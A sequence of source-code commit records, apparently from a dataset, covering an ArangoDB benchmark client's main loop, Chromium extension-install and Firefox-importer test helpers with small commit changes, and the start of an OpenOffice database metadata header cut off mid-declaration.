vector<BenchmarkThread*> threads;\n\n const double stepSize = (double) Operations \/ (double) Concurrency;\n int64_t realStep = (int64_t) stepSize;\n if (stepSize - (double) ((int64_t) stepSize) > 0.0) {\n realStep++;\n }\n if (realStep % 1000 != 0) {\n realStep += 1000 - (realStep % 1000);\n }\n \/\/ add some more offset we don't get into trouble with threads of different speed\n realStep += 10000;\n\n \/\/ start client threads\n for (int i = 0; i < Concurrency; ++i) {\n Endpoint* endpoint = Endpoint::clientFactory(BaseClient.endpointString());\n endpoints.push_back(endpoint);\n\n BenchmarkThread* thread = new BenchmarkThread(testCase,\n &startCondition,\n &UpdateStartCounter,\n i,\n (unsigned long) BatchSize,\n &operationsCounter,\n endpoint,\n BaseClient.databaseName(),\n BaseClient.username(),\n BaseClient.password(),\n BaseClient.requestTimeout(),\n BaseClient.connectTimeout(),\n KeepAlive, \n Async);\n\n threads.push_back(thread);\n thread->setOffset(i * realStep);\n thread->start();\n }\n\n \/\/ give all threads a chance to start so they will not miss the broadcast\n while (GetStartCounter() < Concurrency) {\n usleep(5000);\n }\n\n if (Delay) {\n Status(\"sleeping (startup delay)...\");\n sleep(10);\n }\n Status(\"executing tests...\");\n\n Timing timer(Timing::TI_WALLCLOCK);\n\n \/\/ broadcast the start signal to all threads\n {\n ConditionLocker guard(&startCondition);\n guard.broadcast();\n }\n\n const size_t stepValue = (Operations \/ 20);\n size_t nextReportValue = stepValue;\n\n if (nextReportValue < 100) {\n nextReportValue = 100;\n }\n\n while (1) {\n const size_t numOperations = operationsCounter.getValue();\n\n if (numOperations >= (size_t) Operations) {\n break;\n }\n\n if (Progress && numOperations >= nextReportValue) {\n LOGGER_INFO(\"number of operations: \" << nextReportValue);\n nextReportValue += stepValue;\n }\n\n usleep(20000);\n }\n\n double time = ((double) timer.time()) \/ 1000000.0;\n double requestTime = 0.0;\n\n for (int i = 0; i < Concurrency; ++i) {\n requestTime += threads[i]->getTime();\n }\n\n size_t failures = operationsCounter.failures();\n\n cout << endl;\n cout << \"Total number of operations: \" << Operations << \n \", keep alive: \" << (KeepAlive ? \"yes\" : \"no\") << \n \", async: \" << (Async ? \"yes\" : \"no\") << \n \", batch size: \" << BatchSize << \n \", concurrency level (threads): \" << Concurrency << \n endl;\n\n cout << \"Test case: \" << TestCase << \n \", complexity: \" << Complexity << \n \", database: '\" << BaseClient.databaseName() << \n \"', collection: '\" << Collection << \"'\" << \n endl;\n\n cout << \"Total request\/response duration (sum of all threads): \" << fixed << requestTime << \" s\" << endl;\n cout << \"Request\/response duration (per thread): \" << fixed << (requestTime \/ (double) Concurrency) << \" s\" << endl;\n cout << \"Time needed per operation: \" << fixed << (time \/ Operations) << \" s\" << endl;\n cout << \"Time needed per operation per thread: \" << fixed << (time \/ (double) Operations * (double) Concurrency) << \" s\" << endl;\n cout << \"Operations per second rate: \" << fixed << ((double) Operations \/ time) << endl;\n cout << \"Elapsed time since start: \" << fixed << time << \" s\" << endl << endl;\n\n if (failures > 0) {\n cerr << \"WARNING: \" << failures << \" arangob request(s) failed!!\" << endl;\n }\n\n testCase->tearDown();\n\n for (int i = 0; i < Concurrency; ++i) {\n threads[i]->join();\n delete threads[i];\n delete endpoints[i];\n }\n\n delete testCase;\n\n TRIAGENS_REST_SHUTDOWN;\n\n return (failures == 0) ? EXIT_SUCCESS : 2;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- END-OF-FILE\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ Local Variables:\n\/\/ mode: outline-minor\n\/\/ outline-regexp: \"\/\/\/ @brief\\\\|\/\/\/ {@inheritDoc}\\\\|\/\/\/ @addtogroup\\\\|\/\/\/ @page\\\\|\/\/ --SECTION--\\\\|\/\/\/ @\\\\}\"\n\/\/ End:\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/stringprintf.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_webstore_private_api.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n\nclass ExtensionGalleryInstallApiTest : public ExtensionApiTest {\n public:\n void SetUpCommandLine(CommandLine* command_line) {\n ExtensionApiTest::SetUpCommandLine(command_line);\n command_line->AppendSwitchASCII(switches::kAppsGalleryURL,\n \"http:\/\/www.example.com\");\n }\n};\n\n\/\/ http:\/\/crbug.com\/55642 - failing on XP.\n#if defined (OS_WIN)\n#define MAYBE_InstallAndUninstall FAILS_InstallAndUninstall\n#else\n#define MAYBE_InstallAndUninstall InstallAndUninstall\n#endif\nIN_PROC_BROWSER_TEST_F(ExtensionGalleryInstallApiTest,\n MAYBE_InstallAndUninstall) {\n host_resolver()->AddRule(\"www.example.com\", \"127.0.0.1\");\n ASSERT_TRUE(test_server()->Start());\n\n std::string base_url = base::StringPrintf(\n \"http:\/\/www.example.com:%u\/files\/extensions\/\",\n test_server()->host_port_pair().port());\n\n std::string testing_install_base_url = base_url;\n testing_install_base_url += \"good.crx\";\n InstallFunction::SetTestingInstallBaseUrl(testing_install_base_url.c_str());\n\n std::string page_url = base_url;\n page_url += \"api_test\/extension_gallery_install\/test.html\";\n ASSERT_TRUE(RunPageTest(page_url.c_str()));\n}\n<commit_msg>Disables ExtensionGalleryInstallApiTest.InstallAndUninstall on Windows<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/stringprintf.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_webstore_private_api.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n\nclass ExtensionGalleryInstallApiTest : public ExtensionApiTest {\n public:\n void SetUpCommandLine(CommandLine* command_line) {\n ExtensionApiTest::SetUpCommandLine(command_line);\n command_line->AppendSwitchASCII(switches::kAppsGalleryURL,\n \"http:\/\/www.example.com\");\n }\n};\n\n\/\/ http:\/\/crbug.com\/55642 - failing on XP.\n#if defined (OS_WIN)\n#define MAYBE_InstallAndUninstall DISABLED_InstallAndUninstall\n#else\n#define MAYBE_InstallAndUninstall InstallAndUninstall\n#endif\nIN_PROC_BROWSER_TEST_F(ExtensionGalleryInstallApiTest,\n MAYBE_InstallAndUninstall) {\n host_resolver()->AddRule(\"www.example.com\", \"127.0.0.1\");\n ASSERT_TRUE(test_server()->Start());\n\n std::string base_url = base::StringPrintf(\n \"http:\/\/www.example.com:%u\/files\/extensions\/\",\n test_server()->host_port_pair().port());\n\n std::string testing_install_base_url = base_url;\n testing_install_base_url += \"good.crx\";\n InstallFunction::SetTestingInstallBaseUrl(testing_install_base_url.c_str());\n\n std::string page_url = base_url;\n page_url += \"api_test\/extension_gallery_install\/test.html\";\n ASSERT_TRUE(RunPageTest(page_url.c_str()));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/importer\/firefox_importer_unittest_utils.h\"\n\n#include \"base\/bind.h\"\n#include \"base\/base_switches.h\"\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/test\/test_timeouts.h\"\n#include \"chrome\/browser\/importer\/firefox_importer_utils.h\"\n#include \"ipc\/ipc_channel.h\"\n#include \"ipc\/ipc_descriptors.h\"\n#include \"ipc\/ipc_message.h\"\n#include \"ipc\/ipc_switches.h\"\n#include \"testing\/multiprocess_func_list.h\"\n\n#define IPC_MESSAGE_IMPL\n#include \"chrome\/browser\/importer\/firefox_importer_unittest_messages_internal.h\"\n\nnamespace {\n\n\/\/ Name of IPC Channel to use for Server<-> Child Communications.\nconst char kTestChannelID[] = \"T1\";\n\n\/\/ Launch the child process:\n\/\/ |nss_path| - path to the NSS directory holding the decryption libraries.\n\/\/ |channel| - IPC Channel to use for communication.\n\/\/ |handle| - On return, the process handle to use to communicate with the\n\/\/ child.\nbool LaunchNSSDecrypterChildProcess(const FilePath& nss_path,\n IPC::Channel* channel, base::ProcessHandle* handle) {\n CommandLine cl(*CommandLine::ForCurrentProcess());\n cl.AppendSwitchASCII(switches::kTestChildProcess, \"NSSDecrypterChildProcess\");\n\n \/\/ Set env variable needed for FF encryption libs to load.\n \/\/ See \"chrome\/browser\/importer\/nss_decryptor_mac.mm\" for an explanation of\n \/\/ why we need this.\n base::EnvironmentVector env;\n std::pair<std::string, std::string> dyld_override;\n dyld_override.first = \"DYLD_FALLBACK_LIBRARY_PATH\";\n dyld_override.second = nss_path.value();\n env.push_back(dyld_override);\n\n int ipcfd = channel->TakeClientFileDescriptor();\n if (ipcfd == -1)\n return false;\n\n file_util::ScopedFD client_file_descriptor_closer(&ipcfd);\n base::FileHandleMappingVector fds_to_map;\n fds_to_map.push_back(std::pair<int,int>(ipcfd, kPrimaryIPCChannel + 3));\n\n bool debug_on_start = CommandLine::ForCurrentProcess()->HasSwitch(\n switches::kDebugChildren);\n base::LaunchOptions options;\n options.environ = &env;\n options.fds_to_remap = &fds_to_map;\n options.wait = debug_on_start;\n return base::LaunchProcess(cl.argv(), options, handle);\n}\n\n} \/\/ namespace\n\n\/\/----------------------- Server --------------------\n\n\/\/ Class to communicate on the server side of the IPC Channel.\n\/\/ Method calls are sent over IPC and replies are read back into class\n\/\/ variables.\n\/\/ This class needs to be called on a single thread.\nclass FFDecryptorServerChannelListener : public IPC::Channel::Listener {\n public:\n FFDecryptorServerChannelListener()\n : got_result(false), sender_(NULL) {}\n\n void SetSender(IPC::Message::Sender* sender) {\n sender_ = sender;\n }\n\n void OnInitDecryptorResponse(bool result) {\n DCHECK(!got_result);\n result_bool = result;\n got_result = true;\n MessageLoop::current()->Quit();\n }\n\n void OnDecryptedTextResonse(const string16& decrypted_text) {\n DCHECK(!got_result);\n result_string = decrypted_text;\n got_result = true;\n MessageLoop::current()->Quit();\n }\n\n void QuitClient() {\n if (sender_)\n sender_->Send(new Msg_Decryptor_Quit());\n }\n\n virtual bool OnMessageReceived(const IPC::Message& msg) {\n bool handled = true;\n IPC_BEGIN_MESSAGE_MAP(FFDecryptorServerChannelListener, msg)\n IPC_MESSAGE_HANDLER(Msg_Decryptor_InitReturnCode, OnInitDecryptorResponse)\n IPC_MESSAGE_HANDLER(Msg_Decryptor_Response, OnDecryptedTextResonse)\n IPC_MESSAGE_UNHANDLED(handled = false)\n IPC_END_MESSAGE_MAP()\n return handled;\n }\n\n \/\/ If an error occured, just kill the message Loop.\n virtual void OnChannelError() {\n got_result = false;\n MessageLoop::current()->Quit();\n }\n\n \/\/ Results of IPC calls.\n string16 result_string;\n bool result_bool;\n \/\/ True if IPC call succeeded and data in above variables is valid.\n bool got_result;\n\n private:\n IPC::Message::Sender* sender_; \/\/ weak\n};\n\nFFUnitTestDecryptorProxy::FFUnitTestDecryptorProxy()\n : child_process_(0) {\n}\n\nbool FFUnitTestDecryptorProxy::Setup(const FilePath& nss_path) {\n \/\/ Create a new message loop and spawn the child process.\n message_loop_.reset(new MessageLoopForIO());\n\n listener_.reset(new FFDecryptorServerChannelListener());\n channel_.reset(new IPC::Channel(kTestChannelID,\n IPC::Channel::MODE_SERVER,\n listener_.get()));\n CHECK(channel_->Connect());\n listener_->SetSender(channel_.get());\n\n \/\/ Spawn child and set up sync IPC connection.\n bool ret = LaunchNSSDecrypterChildProcess(nss_path,\n channel_.get(),\n &child_process_);\n return ret && (child_process_ != 0);\n}\n\nFFUnitTestDecryptorProxy::~FFUnitTestDecryptorProxy() {\n listener_->QuitClient();\n channel_->Close();\n\n if (child_process_) {\n base::WaitForSingleProcess(child_process_, 5000);\n base::CloseProcessHandle(child_process_);\n }\n}\n\n\/\/ A message_loop task that quits the message loop when invoked, setting cancel\n\/\/ causes the task to do nothing when invoked.\nclass CancellableQuitMsgLoop : public base::RefCounted<CancellableQuitMsgLoop> {\n public:\n CancellableQuitMsgLoop() : cancelled_(false) {}\n void QuitNow() {\n if (!cancelled_)\n MessageLoop::current()->Quit();\n }\n bool cancelled_;\n};\n\n\/\/ Spin until either a client response arrives or a timeout occurs.\nbool FFUnitTestDecryptorProxy::WaitForClientResponse() {\n \/\/ What we're trying to do here is to wait for an RPC message to go over the\n \/\/ wire and the client to reply. If the client does not reply by a given\n \/\/ timeout we kill the message loop.\n \/\/ The way we do this is to post a CancellableQuitMsgLoop for 3 seconds in\n \/\/ the future and cancel it if an RPC message comes back earlier.\n \/\/ This relies on the IPC listener class to quit the message loop itself when\n \/\/ a message comes in.\n scoped_refptr<CancellableQuitMsgLoop> quit_task(\n new CancellableQuitMsgLoop());\n MessageLoop::current()->PostDelayedTask(\n FROM_HERE,\n base::Bind(&CancellableQuitMsgLoop::QuitNow, quit_task.get()),\n TestTimeouts::action_max_timeout_ms());\n\n message_loop_->Run();\n bool ret = !quit_task->cancelled_;\n quit_task->cancelled_ = false;\n return ret;\n}\n\nbool FFUnitTestDecryptorProxy::DecryptorInit(const FilePath& dll_path,\n const FilePath& db_path) {\n channel_->Send(new Msg_Decryptor_Init(dll_path, db_path));\n bool ok = WaitForClientResponse();\n if (ok && listener_->got_result) {\n listener_->got_result = false;\n return listener_->result_bool;\n }\n return false;\n}\n\nstring16 FFUnitTestDecryptorProxy::Decrypt(const std::string& crypt) {\n channel_->Send(new Msg_Decrypt(crypt));\n bool ok = WaitForClientResponse();\n if (ok && listener_->got_result) {\n listener_->got_result = false;\n return listener_->result_string;\n }\n return string16();\n}\n\n\/\/---------------------------- Child Process -----------------------\n\n\/\/ Class to listen on the client side of the ipc channel, it calls through\n\/\/ to the NSSDecryptor and sends back a reply.\nclass FFDecryptorClientChannelListener : public IPC::Channel::Listener {\n public:\n FFDecryptorClientChannelListener()\n : sender_(NULL) {}\n\n void SetSender(IPC::Message::Sender* sender) {\n sender_ = sender;\n }\n\n void OnDecryptor_Init(FilePath dll_path, FilePath db_path) {\n bool ret = decryptor_.Init(dll_path, db_path);\n sender_->Send(new Msg_Decryptor_InitReturnCode(ret));\n }\n\n void OnDecrypt(std::string crypt) {\n string16 unencrypted_str = decryptor_.Decrypt(crypt);\n sender_->Send(new Msg_Decryptor_Response(unencrypted_str));\n }\n\n void OnQuitRequest() {\n MessageLoop::current()->Quit();\n }\n\n virtual bool OnMessageReceived(const IPC::Message& msg) {\n bool handled = true;\n IPC_BEGIN_MESSAGE_MAP(FFDecryptorClientChannelListener, msg)\n IPC_MESSAGE_HANDLER(Msg_Decryptor_Init, OnDecryptor_Init)\n IPC_MESSAGE_HANDLER(Msg_Decrypt, OnDecrypt)\n IPC_MESSAGE_HANDLER(Msg_Decryptor_Quit, OnQuitRequest)\n IPC_MESSAGE_UNHANDLED(handled = false)\n IPC_END_MESSAGE_MAP()\n return handled;\n }\n\n virtual void OnChannelError() {\n MessageLoop::current()->Quit();\n }\n\n private:\n NSSDecryptor decryptor_;\n IPC::Message::Sender* sender_;\n};\n\n\/\/ Entry function in child process.\nMULTIPROCESS_TEST_MAIN(NSSDecrypterChildProcess) {\n MessageLoopForIO main_message_loop;\n FFDecryptorClientChannelListener listener;\n\n IPC::Channel channel(kTestChannelID, IPC::Channel::MODE_CLIENT, &listener);\n CHECK(channel.Connect());\n listener.SetSender(&channel);\n\n \/\/ run message loop\n MessageLoop::current()->Run();\n\n return 0;\n}\n<commit_msg>Update uses of TimeDelta in mac firefox importer test code.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/importer\/firefox_importer_unittest_utils.h\"\n\n#include \"base\/bind.h\"\n#include \"base\/base_switches.h\"\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/test\/test_timeouts.h\"\n#include \"chrome\/browser\/importer\/firefox_importer_utils.h\"\n#include \"ipc\/ipc_channel.h\"\n#include \"ipc\/ipc_descriptors.h\"\n#include \"ipc\/ipc_message.h\"\n#include \"ipc\/ipc_switches.h\"\n#include \"testing\/multiprocess_func_list.h\"\n\n#define IPC_MESSAGE_IMPL\n#include \"chrome\/browser\/importer\/firefox_importer_unittest_messages_internal.h\"\n\nnamespace {\n\n\/\/ Name of IPC Channel to use for Server<-> Child Communications.\nconst char kTestChannelID[] = \"T1\";\n\n\/\/ Launch the child process:\n\/\/ |nss_path| - path to the NSS directory holding the decryption libraries.\n\/\/ |channel| - IPC Channel to use for communication.\n\/\/ |handle| - On return, the process handle to use to communicate with the\n\/\/ child.\nbool LaunchNSSDecrypterChildProcess(const FilePath& nss_path,\n IPC::Channel* channel, base::ProcessHandle* handle) {\n CommandLine cl(*CommandLine::ForCurrentProcess());\n cl.AppendSwitchASCII(switches::kTestChildProcess, \"NSSDecrypterChildProcess\");\n\n \/\/ Set env variable needed for FF encryption libs to load.\n \/\/ See \"chrome\/browser\/importer\/nss_decryptor_mac.mm\" for an explanation of\n \/\/ why we need this.\n base::EnvironmentVector env;\n std::pair<std::string, std::string> dyld_override;\n dyld_override.first = \"DYLD_FALLBACK_LIBRARY_PATH\";\n dyld_override.second = nss_path.value();\n env.push_back(dyld_override);\n\n int ipcfd = channel->TakeClientFileDescriptor();\n if (ipcfd == -1)\n return false;\n\n file_util::ScopedFD client_file_descriptor_closer(&ipcfd);\n base::FileHandleMappingVector fds_to_map;\n fds_to_map.push_back(std::pair<int,int>(ipcfd, kPrimaryIPCChannel + 3));\n\n bool debug_on_start = CommandLine::ForCurrentProcess()->HasSwitch(\n switches::kDebugChildren);\n base::LaunchOptions options;\n options.environ = &env;\n options.fds_to_remap = &fds_to_map;\n options.wait = debug_on_start;\n return base::LaunchProcess(cl.argv(), options, handle);\n}\n\n} \/\/ namespace\n\n\/\/----------------------- Server --------------------\n\n\/\/ Class to communicate on the server side of the IPC Channel.\n\/\/ Method calls are sent over IPC and replies are read back into class\n\/\/ variables.\n\/\/ This class needs to be called on a single thread.\nclass FFDecryptorServerChannelListener : public IPC::Channel::Listener {\n public:\n FFDecryptorServerChannelListener()\n : got_result(false), sender_(NULL) {}\n\n void SetSender(IPC::Message::Sender* sender) {\n sender_ = sender;\n }\n\n void OnInitDecryptorResponse(bool result) {\n DCHECK(!got_result);\n result_bool = result;\n got_result = true;\n MessageLoop::current()->Quit();\n }\n\n void OnDecryptedTextResonse(const string16& decrypted_text) {\n DCHECK(!got_result);\n result_string = decrypted_text;\n got_result = true;\n MessageLoop::current()->Quit();\n }\n\n void QuitClient() {\n if (sender_)\n sender_->Send(new Msg_Decryptor_Quit());\n }\n\n virtual bool OnMessageReceived(const IPC::Message& msg) {\n bool handled = true;\n IPC_BEGIN_MESSAGE_MAP(FFDecryptorServerChannelListener, msg)\n IPC_MESSAGE_HANDLER(Msg_Decryptor_InitReturnCode, OnInitDecryptorResponse)\n IPC_MESSAGE_HANDLER(Msg_Decryptor_Response, OnDecryptedTextResonse)\n IPC_MESSAGE_UNHANDLED(handled = false)\n IPC_END_MESSAGE_MAP()\n return handled;\n }\n\n \/\/ If an error occured, just kill the message Loop.\n virtual void OnChannelError() {\n got_result = false;\n MessageLoop::current()->Quit();\n }\n\n \/\/ Results of IPC calls.\n string16 result_string;\n bool result_bool;\n \/\/ True if IPC call succeeded and data in above variables is valid.\n bool got_result;\n\n private:\n IPC::Message::Sender* sender_; \/\/ weak\n};\n\nFFUnitTestDecryptorProxy::FFUnitTestDecryptorProxy()\n : child_process_(0) {\n}\n\nbool FFUnitTestDecryptorProxy::Setup(const FilePath& nss_path) {\n \/\/ Create a new message loop and spawn the child process.\n message_loop_.reset(new MessageLoopForIO());\n\n listener_.reset(new FFDecryptorServerChannelListener());\n channel_.reset(new IPC::Channel(kTestChannelID,\n IPC::Channel::MODE_SERVER,\n listener_.get()));\n CHECK(channel_->Connect());\n listener_->SetSender(channel_.get());\n\n \/\/ Spawn child and set up sync IPC connection.\n bool ret = LaunchNSSDecrypterChildProcess(nss_path,\n channel_.get(),\n &child_process_);\n return ret && (child_process_ != 0);\n}\n\nFFUnitTestDecryptorProxy::~FFUnitTestDecryptorProxy() {\n listener_->QuitClient();\n channel_->Close();\n\n if (child_process_) {\n base::WaitForSingleProcess(child_process_, 5000);\n base::CloseProcessHandle(child_process_);\n }\n}\n\n\/\/ A message_loop task that quits the message loop when invoked, setting cancel\n\/\/ causes the task to do nothing when invoked.\nclass CancellableQuitMsgLoop : public base::RefCounted<CancellableQuitMsgLoop> {\n public:\n CancellableQuitMsgLoop() : cancelled_(false) {}\n void QuitNow() {\n if (!cancelled_)\n MessageLoop::current()->Quit();\n }\n bool cancelled_;\n};\n\n\/\/ Spin until either a client response arrives or a timeout occurs.\nbool FFUnitTestDecryptorProxy::WaitForClientResponse() {\n \/\/ What we're trying to do here is to wait for an RPC message to go over the\n \/\/ wire and the client to reply. If the client does not reply by a given\n \/\/ timeout we kill the message loop.\n \/\/ The way we do this is to post a CancellableQuitMsgLoop for 3 seconds in\n \/\/ the future and cancel it if an RPC message comes back earlier.\n \/\/ This relies on the IPC listener class to quit the message loop itself when\n \/\/ a message comes in.\n scoped_refptr<CancellableQuitMsgLoop> quit_task(\n new CancellableQuitMsgLoop());\n MessageLoop::current()->PostDelayedTask(\n FROM_HERE,\n base::Bind(&CancellableQuitMsgLoop::QuitNow, quit_task.get()),\n TestTimeouts::action_max_timeout());\n\n message_loop_->Run();\n bool ret = !quit_task->cancelled_;\n quit_task->cancelled_ = false;\n return ret;\n}\n\nbool FFUnitTestDecryptorProxy::DecryptorInit(const FilePath& dll_path,\n const FilePath& db_path) {\n channel_->Send(new Msg_Decryptor_Init(dll_path, db_path));\n bool ok = WaitForClientResponse();\n if (ok && listener_->got_result) {\n listener_->got_result = false;\n return listener_->result_bool;\n }\n return false;\n}\n\nstring16 FFUnitTestDecryptorProxy::Decrypt(const std::string& crypt) {\n channel_->Send(new Msg_Decrypt(crypt));\n bool ok = WaitForClientResponse();\n if (ok && listener_->got_result) {\n listener_->got_result = false;\n return listener_->result_string;\n }\n return string16();\n}\n\n\/\/---------------------------- Child Process -----------------------\n\n\/\/ Class to listen on the client side of the ipc channel, it calls through\n\/\/ to the NSSDecryptor and sends back a reply.\nclass FFDecryptorClientChannelListener : public IPC::Channel::Listener {\n public:\n FFDecryptorClientChannelListener()\n : sender_(NULL) {}\n\n void SetSender(IPC::Message::Sender* sender) {\n sender_ = sender;\n }\n\n void OnDecryptor_Init(FilePath dll_path, FilePath db_path) {\n bool ret = decryptor_.Init(dll_path, db_path);\n sender_->Send(new Msg_Decryptor_InitReturnCode(ret));\n }\n\n void OnDecrypt(std::string crypt) {\n string16 unencrypted_str = decryptor_.Decrypt(crypt);\n sender_->Send(new Msg_Decryptor_Response(unencrypted_str));\n }\n\n void OnQuitRequest() {\n MessageLoop::current()->Quit();\n }\n\n virtual bool OnMessageReceived(const IPC::Message& msg) {\n bool handled = true;\n IPC_BEGIN_MESSAGE_MAP(FFDecryptorClientChannelListener, msg)\n IPC_MESSAGE_HANDLER(Msg_Decryptor_Init, OnDecryptor_Init)\n IPC_MESSAGE_HANDLER(Msg_Decrypt, OnDecrypt)\n IPC_MESSAGE_HANDLER(Msg_Decryptor_Quit, OnQuitRequest)\n IPC_MESSAGE_UNHANDLED(handled = false)\n IPC_END_MESSAGE_MAP()\n return handled;\n }\n\n virtual void OnChannelError() {\n MessageLoop::current()->Quit();\n }\n\n private:\n NSSDecryptor decryptor_;\n IPC::Message::Sender* sender_;\n};\n\n\/\/ Entry function in child process.\nMULTIPROCESS_TEST_MAIN(NSSDecrypterChildProcess) {\n MessageLoopForIO main_message_loop;\n FFDecryptorClientChannelListener listener;\n\n IPC::Channel channel(kTestChannelID, IPC::Channel::MODE_CLIENT, &listener);\n CHECK(channel.Connect());\n listener.SetSender(&channel);\n\n \/\/ run message loop\n MessageLoop::current()->Run();\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: FDatabaseMetaDataResultSetMetaData.hxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: rt $ $Date: 2007-07-06 06:48:34 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_DATABASEMETADATARESULTSETMETADATA_HXX_\n#define _CONNECTIVITY_DATABASEMETADATARESULTSETMETADATA_HXX_\n\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSETMETADATA_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSetMetaData.hpp>\n#endif\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase1.hxx>\n#endif\n#ifndef _VECTOR_\n#include <vector>\n#endif\n#ifndef _CONNECTIVITY_FDATABASEMETADATARESULTSET_HXX_\n#include \"FDatabaseMetaDataResultSet.hxx\"\n#endif\n#ifndef _CONNECTIVITY_COLUMN_HXX_\n#include \"OColumn.hxx\"\n#endif\n#ifndef CONNECTIVITY_STDTYPEDEFS_HXX\n#include \"connectivity\/StdTypeDefs.hxx\"\n#endif\n\nnamespace connectivity\n{\n \/\/**************************************************************\n \/\/************ Class: ODatabaseMetaDataResultSetMetaData\n \/\/**************************************************************\n typedef ::cppu::WeakImplHelper1< ::com::sun::star::sdbc::XResultSetMetaData> ODatabaseMetaResultSetMetaData_BASE;\n\n class ODatabaseMetaDataResultSetMetaData : public ODatabaseMetaResultSetMetaData_BASE\n {\n TIntVector m_vMapping; \/\/ when not every column is needed\n ::std::map<sal_Int32,connectivity::OColumn> m_mColumns;\n ::std::map<sal_Int32,connectivity::OColumn>::const_iterator m_mColumnsIter;\n\n sal_Int32 m_nColCount;\n protected:\n virtual ~ODatabaseMetaDataResultSetMetaData();\n public:\n \/\/ ein Konstruktor, der fuer das Returnen des Objektes benoetigt wird:\n ODatabaseMetaDataResultSetMetaData( )\n : m_nColCount(0)\n {\n }\n \/\/\/ Avoid ambigous cast error from the compiler.\n inline operator ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XResultSetMetaData > () throw()\n { return this; }\n\n virtual sal_Int32 SAL_CALL getColumnCount( ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isAutoIncrement( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCaseSensitive( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSearchable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCurrency( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL isNullable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSigned( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnDisplaySize( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnLabel( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getSchemaName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getPrecision( sal_Int32 column ) 